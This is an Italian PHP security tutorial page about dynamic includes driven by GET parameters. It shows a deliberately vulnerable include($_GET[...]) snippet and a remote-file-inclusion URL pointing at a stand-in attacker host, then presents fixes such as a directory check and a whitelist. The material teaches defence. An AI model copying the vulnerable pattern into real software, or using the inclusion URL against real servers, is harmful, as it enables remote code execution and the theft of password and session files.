PHP  »  Guide  »  Guida sicurezza di PHP 

Sugli include dinamici (via GET o POST)



Introduzione

Si abbia uno script test.php, sul Web server di http://dummy_site.com, poniamo all'indirizzo: http://dummy_site.com/test.php.

<?
if (isset($_GET['include_script'])) include($_GET['include_script']);
// altro_codice;
?>

test.php include un file in modo dinamico, sulla base di quanto ricevuto via query string. Ricevendo in GET, ad esempio: ?include_script=dummy_script.php, quest'ultimo script viene incluso dinamicamente all'interno dello script principale test.php.

Sicuramente non rientra nelle intenzioni del programmatore l'eventualità che possa venir incluso un file remoto. Nelle intenzioni del cracker invece sì

Ecco come. Poniamo che il cracker prepari uno script, residente sul suo sito, del tipo http://hacker_site.com/evil_script come di seguito:

<?
echo "Inclusione dannosa riuscita.";
// altre istruzioni dannose;
?>

Se la direttiva allow_url_fopen del php.ini di dummy_site è abilitata, il cracker, inserendo da browser l'indirizzo:

http://dummy_site.com/test.php?include_script=http%3A%2F%2Fhacker_site.com%2Fevil_script

può facilmente eseguire il codice di evil_script su dummy_site.com. E prevedibilmente la fantasia dell'cracker sarà ben diversa dalla mia in quanto ad istruzioni eseguite. Ad esempio lo script potrebbe cercare e di seguito visualizzare file contenenti password del sistema ospite. O perché non i file di sessione? E così via.

Un'annotazione: la direttiva allow_url_fopen abilita i wrapper URL per fopen(), in modo da poter accedere agli oggetti URL come file. Essa è abilitata di default.

Possibile rimedio

Nel caso ci si aspetti che il file da includere (ad esempio dummy_script.php) sia nella stessa cartella di test.php, è semplicemente necessario un controllo sulla cartella stessa, in fase di inclusione:

if (isset($_GET['include_script']) && dirname($_GET['include_script'])==".")
  {
  include($_GET['include_script']);
  }

È molto difficile, infatti, per il cracker riuscire a salvare un file nella directory virtuale di un server da remoto, se non in possesso dei relativi permessi. O in presenza di immensi buchi.

Oppure ancora, altro metodo, è sufficiente inserire tutte le pagine che intendiamo successivamente richiamare in un array ed in seguito verificarne la corrispondenza con la variabile in GET: se in GET è indicata una pagina non presente nell'array, essa non verrà inclusa. Questo secondo metodo scongiura una possibile vulnerabilità del primo: immaginiamo che include_script sia proprio test.php stesso: in teoria si scatenerebbe un processo di inclusione ricorsiva causando un DoS (Denial of Service) del Web server.

Rimane da sottolineare come gli include statici, del tipo: include("mio_file.php") non nascondono ovviamente alcun tipo di vulnerabilità.

Ultimi articoli PHP

Sessioni PHP: cosa sono, come si usano

Dalla configurazione di PHP, alla gestione delle sessioni in un...

Continuous Integration: automatizziamo i client con Phing

Continuous Integration: automatizziamo i client con Phing. Esempi...

Archiviazione delle applicazioni PHP con Phar

Come incorporare intere applicazioni PHP all'interno di un singolo...

I traits in PHP 5.4

Cosa sono, a cosa servono e come si unsano i traits, la novità per...

PHP 5.4: il web server integrato

Impara ad usare il web server integrato nella versione 5.4 di PHP:...

Altri articoli

Guide PHP

Guida Yii Framework

Come creare applicazioni Web in modo semplice e veloce con il...

Guida Applicazioni Facebook con PHP

Come realizzare un'applicazione per Facebook. Dalle basi della...

Guida PHP con Windows e IIS

Installare ambienti per lo sviluppo e la produzione di applicazioni...

Altre guide

Newsletter @PHP

Ogni lunedì, direttamente nella tua e-mail: script, articoli, guide e tutorial su PHP, MySQL e Apache.

Iscriviti alla newsletter

Altre newsletter

Corsi in aula

Corso PHP per Webmaster

11 Giugno 2012 a Milano
Disponibilità: 7 Posti

Corso Google AdWords Base

25 Giugno 2012 a Milano
Disponibilità: 7 Posti

Corso Google AdWords Base

05 Giugno 2012 a Roma
Disponibilità: 7 Posti